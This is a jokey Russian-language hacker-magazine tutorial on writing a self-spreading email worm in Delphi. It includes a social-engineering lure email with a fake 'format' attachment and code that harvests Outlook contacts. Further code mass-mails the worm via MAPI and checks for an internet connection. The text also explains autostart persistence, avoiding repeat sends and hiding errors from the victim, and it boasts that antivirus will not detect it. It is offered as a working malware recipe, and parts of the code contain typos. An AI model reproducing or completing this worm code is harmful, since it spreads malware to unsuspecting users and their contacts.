Сетевые вирусыСегодня я опишу тебе принцип работы сетевого вируса. Тема, как ты понял, весьма актуальная, поскольку 70% лично моего ящика всегда бывает забита вирусами самого разного пошиба - от мелких, но злобных VBS-червей до полуторамеговых произведений младших школьников Они-то ведь не знают про существование WinAPI Для проникновения на компьютер вирусы могут либо использовать баги в ПО юзера (VBS+Outlook= love:)) либо - баги в голове самого юзера. Рассмотрим пример такого вирусного письма:
Subj: Прикол Привет! Держи крутой прикол, который я тебе (или не тебе, не помню ) Обещал. Но все равно держи. Не бойся, по-настоящему он ничего не форматирует! Проверить не забудь, параноик Успехов! Attach: fake_format.exe
Ну так вот: каждый ламероватый интернетчик посылает своим друзьям приколы постоянно, и, соответственно, не очень-то помнит, кому чего обещал; сообщение о "ненастоящем форматировании” переключает мозги жертвы в русло приколов, а слепая вера в антивирусы - добивает Напомню - описанные мной алгоритмы не определяются никакими webами, avp и другими бойцами.
Короче, мне самому уже захотелось запустить этот веселенький прикол. Запускаю
Error… intel pentium 5 notfound!
Ой.. Вроде как не работает? Не, не угадал На самом деле вирус тут же перенес свое тело на хард к жертве, записался в автозагрузку, и теперь будет тусоваться в оперативочке (хинт: на медицинском жаргоне "оперативка” - это ОПЕРАТИВНАЯ ХИРУРГИЯ, так что будь осторожен ) жертвы по принципу, описанному мной в статье "резидентный вирус своими руками”. Только вот проверять он будет не запуск файлов, а подключение к сети интернет (в исходнике это будет процедура IsOnline, так, на будущее ). Впрочем, одновременно мониторить запуск файлов тебе никто не мешает - это все-таки вирус, хоть и сетевик. Поэтому в логику я включу процедуру InfectFile. Таким образом, мы будем использовать следующие функции и процедуры:
ISONLINE - проверка соединения с инетом SENDVIRUS - догадайся с трех раз GETMAILS - получаем адреса из AddresBook аутглюка INFECTFILES - WORKMEMORY - почти то же, что в прошлой статье, но с модификациями.
КОДИНГ
До начала собственно кодига на этот раз необходимы будут долгие предварительные ласки Объясняю почему: для чтения адресной книги мы будем обращаться к аутлуку по межпрограммному интерфейсу, а для этого нам нехило поиметь его type library. Вот и делай: projectа import type library, и ищи там… правильно, Outlook express v.9 или какой там у тебя стоит. Девятой считается версия, если не ошибаюсь, из Office2k. Импортировал? Что значит "нет в списке”? Да ладно, бывает. Ищи вручную - в каталоге с офисом есть файл msoutl.olb. Это она Теперь в раздел uses пиши outlook_tlb и будешь иметь доступ к самым интимным местам адресной книги Ой, какой-то я сегодня озабоченный В общем, процедура потрошения адресбука должна выглядеть так:
uses ComObj, outlook_tlb, Forms; …. Procedure GETMAILS; var MyFolder, MSOutlook, MyNameSpace, MyItem : Variant; s : string; num, i : Integer; mails : array of string;
begin MSOutlook := CreateOleObject(’Outlook.Application’); MyNameSpace := MSOutlook.GetNameSpace(’MAPI’); MyFolder := MyNamespace.GetDefaultFolder(olFolderContacts); SetLength (mails,MyFilder.Items.Count); for i := 1 to MyFolder.Items.Count do begin MyItem := MyFolder.Items[i]; mails[i]:= myitem.email1addres; end;
end.
Ну как, порадовало тебя написанное? Гы, дальше будет только хуже. Потому что отправка вируса будет на чистом API. А это, как говорит Horrific: "то же самое, что ручной секс. Эффект есть в обоих случаях, но его приходится долго добиваться и нет такого кайфа” Ну так что я тут понаписал? Uses Comobj позволяет нам работать с COM технологией; далее мы только создаем OLE объект аутлука, и циклически выясняем у него список емайлов. Если тебе хочется выяснить еще что-нибудь - это тоже реально, читай доки - они рулез. Хоть и на английском. Список емайлов пишется в динамический массив из строчек. Его будет юзать функция SendVirus. Вот эта:
function SendVirus(const RecipName, RecipAddress, Subject, Attachment: string):Boolean; var MapiMessage : TMapiMessage; MapiFileDesc : TMapiFileDesc; MapiRecipDesc : TMapiRecipDesc; i : integer; s : string; begin with MapiRecipDesc do begin ulRecerved := 0; ulRecipClass := MAPI_TO; lpszName := PChar(RecipName); lpszAddress := PChar(RecipAddress); ulEIDSize := 0; lpEntryID := nil; end;
with MapiFileDesc do begin ulReserved := 0; flFlags := 0; nPosition := 0; lpszPathName := PChar(Attachment); lpszFileName := nil; lpFileType := nil; end;
with MapiMessage do begin ulReserved := 0; lpszSubject := nil; lpszNoteText := PChar(Subject); lpszMessageType := nil; lpszDateReceived := nil; lpszConversationID := nil; flFlags := 0; lpOriginator := nil; nRecipCount := 1; lpRecips := @MapiRecipDesc; if length(Attachment)> 0 then begin nFileCount := 1; lpFiles := @MapiFileDesc; end else begin nFileCount := 0; lpFiles := nil; end; end;
Result := MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS; end;
Ты не опух, пока это читал? Пойди, попей пивка, а то ничего не поймешь. Выпил? Я тоже Хорошо, продолжаем. Юзать будешь так:
For i := 1 to length (mails) do begin SendVirus ('’,mails[i],’pricol’,’..’); end;
Здесь мы задействуем функции uses MAPI, поэтому не забудь его объявить. Короче, это - низкоуровневая работа с почтой. А для работы с почтой, как ты знаешь, надо иметь а) email получателя б) текст письма в) аттач. Вот я и делаю: MapiRecipDesc - описываю получателя, MapiFileDesc - аттач, т.е. наш вирус, MapiMessage - это сообщение, потом я его командой MapiSendMail отправлю в большую жизнь Ну, не так это оказалось и сложно. Главное понять, что твой самый большой друг - это не c:\porno, а win32.hlp
Как же теперь все это словоблудие уложить в суровую логику вируса? Сам разберешься, я тебе уже 2 статьи подряд об этом долблю. И вообще, я вчера отмечал день рождения моей девушки, теперь у меня слегка трещит голова Ну ладно, чувство долга сильнее. Just Do It: первой строчкой проверяешь имя файла, откуда ты стартовал. Если pricol.exe - значит CopyFile к виндам А если стартанул из виндового каталога - то циклически проверяй подключение к всемирной сети. Проверяем:
function IsOnline: Boolean; var RASConn : TRASConn; dwSize,dwCount : DWORD; begin RASConns.dwSize := SizeOf(TRASConn); dwSize := SizeOf(RASConns); Res :=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount); Result := (Res = 0) and (dwCount > 0); end;
Так. Если все путем, то вперед - тряси адресную книгу и рассылайся. Тут есть две хитрости. Если твое имя pricol.exe - незамедлительно проверяй соединение. Возможно, пользователь проверяет почту в онлайне. Так наши шансы на рассылку сильно возрастут. До второй хитрости ты уже допер сам, а именно, при описанном мной раскладе ты будешь все время отправлять одному и тому же юзеру одинаковые письма, только потому, что его не стерли из адресбука. Следовательно, все отработанные адреса записывай в логфайл и постоянно с ним сверяйся. Вроде бы все. Хотя нет. Не забывай ошибкоопасные фрагменты кода заключать в try..except. И ставить ключ {$D-}. Потому что если юзер вдруг поймает ошибку в духе "FUCK!!! is not valid integer value”, он что-то да заподозрит.